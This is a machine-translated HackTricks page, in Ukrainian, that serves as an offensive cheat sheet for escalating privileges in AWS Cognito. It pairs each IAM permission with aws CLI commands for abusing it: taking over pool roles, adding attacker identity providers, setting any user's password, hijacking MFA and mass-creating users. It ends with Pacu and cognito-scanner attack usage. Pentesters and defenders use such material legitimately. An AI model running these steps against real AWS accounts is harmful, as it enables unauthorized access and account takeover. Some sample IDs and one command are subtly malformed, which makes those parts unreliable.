AWS - Cognito Privesc

Support HackTricks

Cognito

Для отримання додаткової інформації про Cognito перегляньте:

Збір облікових даних з Identity Pool

Оскільки Cognito може надавати облікові дані IAM ролі як авторизованим, так і неавторизованим користувачам, якщо ви знайдете ID Identity Pool програми (повинен бути закодований в ній), ви можете отримати нові облікові дані і, отже, privesc (всередині облікового запису AWS, де ви, ймовірно, раніше не мали жодних облікових даних).

Для отримання додаткової інформації перегляньте цю сторінку.

Потенційний вплив: Прямий privesc до ролі сервісу, прикріпленої до неавторизованих користувачів (і, ймовірно, до тієї, що прикріплена до авторизованих користувачів).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

З цією дозволом ви можете надавати будь-яку роль cognito авторизованим/неавторизованим користувачам програми cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Якщо додаток cognito не має увімкнених неавтентифікованих користувачів, вам також може знадобитися дозвіл cognito-identity:UpdateIdentityPool, щоб увімкнути його.

Потенційний вплив: Пряме підвищення привілеїв до будь-якої ролі cognito.

cognito-identity:update-identity-pool

Зловмисник з цим дозволом може, наприклад, налаштувати підконтрольний йому Cognito User Pool або будь-який інший постачальник ідентичності, де він може увійти, як спосіб доступу до цього Cognito Identity Pool. Тоді просто вхід на цьому постачальнику користувачів дозволить йому отримати доступ до налаштованої автентифікованої ролі в Identity Pool.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Цю дозволу також можна зловживати для дозволу базової аутентифікації:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Потенційний вплив: Компрометація налаштованої аутентифікованої IAM ролі всередині пулу ідентичностей.

cognito-idp:AdminAddUserToGroup

Ця дозволена дія дозволяє додати користувача Cognito до групи Cognito, тому зловмисник може зловживати цим дозволом, щоб додати користувача під своїм контролем до інших груп з кращими привілеями або іншими IAM ролями:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Потенційний вплив: Привілейоване підвищення до інших груп Cognito та IAM ролей, прикріплених до груп користувачів.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Зловмисник з цими дозволами може створювати/оновлювати групи з кожною IAM роллю, яка може бути використана скомпрометованим постачальником ідентичності Cognito і зробити скомпрометованого користувача частиною групи, отримуючи доступ до всіх цих ролей:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Потенційний вплив: Privesc до інших ролей IAM Cognito.

cognito-idp:AdminConfirmSignUp

Ця дозволяє підтвердити реєстрацію. За замовчуванням будь-хто може увійти в програми Cognito, якщо це залишити, користувач може створити обліковий запис з будь-якими даними та підтвердити його за допомогою цього дозволу.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Потенційний вплив: Непряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів, якщо ви можете зареєструвати нового користувача. Непряме підвищення привілеїв до інших функцій програми, маючи можливість підтвердити будь-який обліковий запис.

cognito-idp:AdminCreateUser

Ця дозволена дія дозволить зловмиснику створити нового користувача в пулі користувачів. Новий користувач створюється як активний, але повинен буде змінити свій пароль.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Потенційний вплив: Пряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій програми, що дозволяє створювати будь-якого користувача.

cognito-idp:AdminEnableUser

Ці дозволи можуть допомогти в дуже крайніх випадках, коли зловмисник знайшов облікові дані вимкненого користувача і йому потрібно включити його знову.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Потенційний вплив: Непряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів та дозволів користувача, якщо зловмисник мав облікові дані для деактивованого користувача.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Цей дозвіл дозволяє увійти за допомогою методу ADMIN_USER_PASSWORD_AUTH. Для отримання додаткової інформації перейдіть за посиланням.

cognito-idp:AdminSetUserPassword

Цей дозвіл дозволить зловмиснику змінити пароль будь-якого користувача, що дозволить йому видавати себе за будь-якого користувача (який не має увімкненої MFA).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Потенційний вплив: Пряме підвищення привілеїв до потенційно будь-якого користувача, отже, доступ до всіх груп, членом яких є кожен користувач, та доступ до аутентифікованої IAM ролі Identity Pool.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Зловмисник може потенційно зловживати цим дозволом, щоб встановити мобільний телефон під своїм контролем як SMS MFA користувача.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Схоже на попереднє, ця дозволена дія може бути використана для налаштування переваг MFA користувача, щоб обійти захист MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Схоже на попереднє, ця дозволена дія може бути використана для налаштування переваг MFA користувацького пулу для обходу захисту MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Також можливо оновити пул користувачів, щоб змінити політику MFA. Перевірте cli тут.

Potential Impact: Непряме підвищення привілеїв до потенційно будь-якого користувача, облікові дані якого відомі атакуючому, це може дозволити обійти захист MFA.

cognito-idp:AdminUpdateUserAttributes

Атакуючий з цим дозволом може змінити електронну пошту або номер телефону або будь-який інший атрибут користувача під його контролем, щоб спробувати отримати більше привілеїв в основному додатку. Це дозволяє змінити електронну пошту або номер телефону та встановити його як перевірений.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Потенційний вплив: Потенційне непряме підвищення привілеїв в основному застосунку, що використовує Cognito User Pool, яке надає привілеї на основі атрибутів користувача.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Зловмисник з цим дозволом може створити новий User Pool Client менш обмежений, ніж вже існуючі клієнти пулу. Наприклад, новий клієнт може дозволяти будь-який метод аутентифікації, не мати жодного секрету, мати вимкнене відкликання токенів, дозволяти токени бути дійсними протягом більш тривалого періоду...

Те ж саме можна зробити, якщо замість створення нового клієнта, модифікується існуючий.

В командному рядку (або оновленому) ви можете побачити всі опції, перевірте це!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Потенційний вплив: Потенційний непрямий privesc до авторизованого користувача Identity Pool, використаного User Pool, шляхом створення нового клієнта, який послаблює заходи безпеки і дозволяє зловмиснику увійти з користувачем, якого він зміг створити.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Зловмисник може зловживати цим дозволом для створення користувачів, завантажуючи csv з новими користувачами.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(У випадку, якщо ви створюєте нову задачу імпорту, вам також може знадобитися дозвіл iam passrole, я ще не тестував це).

Потенційний вплив: Пряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій програми, що дозволяє створювати будь-якого користувача.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Зловмисник може створити нового постачальника ідентичностей, щоб потім мати можливість увійти через цього постачальника.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potential Impact: Пряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій програми, що дозволяє створювати будь-якого користувача.

cognito-sync:* Аналіз

Це дуже поширений дозвіл за замовчуванням у ролях пулів ідентичностей Cognito. Навіть якщо символ підстановки в дозволах завжди виглядає погано (особливо з AWS), надані дозволи не є надто корисними з точки зору атакуючого.

Цей дозвіл дозволяє читати інформацію про використання пулів ідентичностей та ідентифікатори ідентичностей всередині пулів ідентичностей (що не є чутливою інформацією). Ідентифікатори ідентичностей можуть мати Datasets, які містять інформацію про сесії (AWS визначає це як збережену гру). Можливо, що це містить якийсь вид чутливої інформації (але ймовірність досить низька). Ви можете знайти на сторінці перерахування як отримати доступ до цієї інформації.

Атакуючий також може використовувати ці дозволи, щоб зареєструватися на потік Cognito, який публікує зміни в цих датасетах або lambda, яка спрацьовує на події cognito. Я не бачив, щоб це використовувалося, і не очікував би чутливої інформації тут, але це не неможливо.

Автоматичні інструменти

  • Pacu, фреймворк експлуатації AWS, тепер включає модулі "cognito__enum" та "cognito__attack", які автоматизують перерахування всіх активів Cognito в обліковому записі та позначають слабкі конфігурації, атрибути користувачів, що використовуються для контролю доступу тощо, а також автоматизують створення користувачів (включаючи підтримку MFA) та підвищення привілеїв на основі змінних атрибутів, що підлягають модифікації, використовуваних облікових даних пулу ідентичностей, ролей, які можна прийняти в токенах ідентифікації тощо.

Для опису функцій модулів дивіться частину 2 блог-посту. Для інструкцій з установки дивіться основну сторінку Pacu.

Використання

Приклад використання cognito__attack для спроби створення користувача та всіх векторів підвищення привілеїв проти даного пулу ідентичностей та клієнта пулу користувачів:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Приклад використання cognito__enum для збору всіх пулів користувачів, клієнтів пулів користувачів, ідентифікаційних пулів, користувачів тощо, видимих у поточному обліковому записі AWS:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner - це інструмент CLI на python, який реалізує різні атаки на Cognito, включаючи ескалацію привілеїв.

Встановлення

$ pip install cognito-scanner

Використання

$ cognito-scanner --help

Для отримання додаткової інформації перегляньте https://github.com/padok-team/cognito-scanner

Підтримайте HackTricks

Last updated